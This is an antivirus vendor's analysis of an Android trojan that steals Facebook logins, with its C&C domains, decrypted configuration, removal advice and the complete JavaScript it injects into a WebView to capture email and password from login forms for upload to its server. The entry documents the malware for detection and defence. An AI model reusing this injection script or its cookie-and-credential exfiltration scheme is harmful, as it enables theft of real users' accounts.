Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Android.PWS.Facebook.13

Added to the Dr.Web virus database: 2021-06-18

Virus description added:

SHA1 hashes:

  • d8f941f6a8dbda39a881ad2a1661e3227e3f8f18
  • 8f30f3f176613dbc14aa29bfb3c952b6eb046da3

Description

A trojan application for Android-powered devices. Its main functionality is stealing logins and passwords of Facebook accounts. This modification hid in App Lock Keep and Processing Photo apps spread on Google Play. However, the trojan can also be spread under the guise of other software.

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

Operating routine

Upon launch, the Android.PWS.Facebook.13 requests configuration from one of its C&C servers:

  • https://data[.]applockkeep[.]xyz
  • https://shop[.]vfgrl[.]com

An example of decrypted configuration:


{
   "retCode":0,
   "u":"https:\/\/www[.]facebook[.]com\/login[.]php",
   "ds":1,
   "dc":0,
   "d":"function...;",
   "aboutus":"http:\/\/fun[.]biugames[.]com\/vip628316[.]html"
}

where

  • d is a field containing JavaScript code that trojan uses to steal victims’ confidential data;
  • u is a field containing an URL of the web page with authorization form to be loaded. During the analysis, the trojan received configuration to display genuine Facebook login page https://www.facebook.com/login. However, it can also load web pages of other legitimate services and phishing sites.

When user taps on any button in the app’s menu, the Android.PWS.Facebook.13 checks for the configuration availability and if the ds field value is present in it. It also verifies if user’s login and password were already saved into the local database. If the ds field value is 1 and saved login-password pair is missing, the trojan offers the victim to login into their Facebook account and loads an URL located in the u field into WebView. With that, each time before an URL is loaded, the cookies of the current authorization session are saved into the local database, and the uploadData function is also called with a delay.

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

After the page is loaded, a JavaScript from the d field of the configuration is loaded into the same WebView:


function Logs(msg) {}
function exec() {
    try {
        var m = document.getElementById("email").value;
        var p = document.getElementById("pass").value;
        if (m.length <= 0 || p.length <= 0) {
            return false
        }
        wb.a(m, p, "", "")
    } catch (e) {
        try {
            var m = document.getElementById("m_login_email").value;
            var p = document.getElementById("m_login_password").value;
            if (m.length <= 0 || p.length <= 0) {
                return false
            }
            wb.a(m, p, "", "")
        } catch (e) {}
    }
}
function login() {
    try {
        var loginFormObj = document.getElementById("loginform");
        loginFormObj.getElementsByTagName("button")[0].addEventListener("touchend", function() {
            exec()
        });
        loginFormObj.getElementsByTagName("button")[0].addEventListener("click", function() {
            exec()
        });
        document.onkeydown = function(event) {
            if (event.keyCode === 13) {
                exec()
            }
        }
    } catch (e) {
        try {
            var loginFormObj = document.getElementById("login_form");
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("touchend", function() {
                exec()
            });
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("click", function() {
                exec()
            });
            document.onkeydown = function(event) {
                if (event.keyCode === 13) {
                    exec()
                }
            }
        } catch (e) {}
    }
}
var testpclogin = /facebook\.com\/login\.php/i;
var testwaplogin = /m.facebook\.com\/$|m.facebook\.com\/login\.php/i;
if (testpclogin.test(window.location.href) || testwaplogin.test(window.location.href)) {
    login()
} else {
    setTimeout(function() {
        Logs("=============111");
        try {
            Logs("=============22222");
            var testurl = /facebook\.com\/bookmarks\/pages/i;
            var testbmurl = /business\.facebook\.com/i;
            if (testurl.test(window.location.href)) {
                try {
                    var obj = document.getElementById("bookmarksSeeAllEntSection");
                    if (obj == null) {
                        obj = document.getElementsByTagName("iframe")[0].contentDocument.getElementById("bookmarksSeeAllEntSection")
                    }
                    if (obj != null) {
                        var len = obj.getElementsByTagName("li").length;
                        if (len > 0) {
                            wb.c(1, 1)
                        }
                    }
                } catch (e) {
                    try {
                        var objs = document.querySelectorAll("div[class*='fdg1wqfs'][class*='lt9micmv'][class*='buofh1pr'][class*='j83agx80']");
                        if (objs.length > 0) {
                            wb.c(1, 1)
                        }
                    } catch (e) {}
                }
            } else {
                if (testbmurl.test(window.location.href)) {
                    setTimeout(function() {
                        var testbmurl1 = /business\.facebook\.com\/home\/accounts\?business_id=[0-9]+/i;
                        var testbmurl2 = /business\.facebook\.com\/select\/\?next=/i;
                        if (testbmurl1.test(window.location.href)) {
                            try {
                                var adcount = document.querySelectorAll("div[adaccountid]").length;
                                if (adcount > 0) {
                                    wb.c(2, 3)
                                } else {
                                    wb.c(2, 1)
                                }
                            } catch (e) {
                                wb.c(2, 1)
                            }
                        } else {
                            if (testbmurl2.test(window.location.href)) {
                                wb.c(2, 1)
                            } else {
                                wb.c(2, 2)
                            }
                        }
                    }, 3000)
                }
            }
        } catch (e) {}
    }, 8000)
};

The script contains wb.a() and wb.c() functions calling the code from the trojan classes.dex through JavascriptInterface.

Using method provided through the JavascriptInterface annotation, the wb.a() function saves entered authorization data (password and user name) to the local database, while the uploadData function is called with the delay.

A method available through the wb.c() function call is missing in the analyzed sample code.

A uploadData function reads the data from the local database. It checks the password, user name and cookies. These parameters must not be empty, and cookies must contain the c_user string. If these conditions are met, the data with the information about the user agent are encoded in base64 and sent to the C&C server.

Indicators of compromise

News about the trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android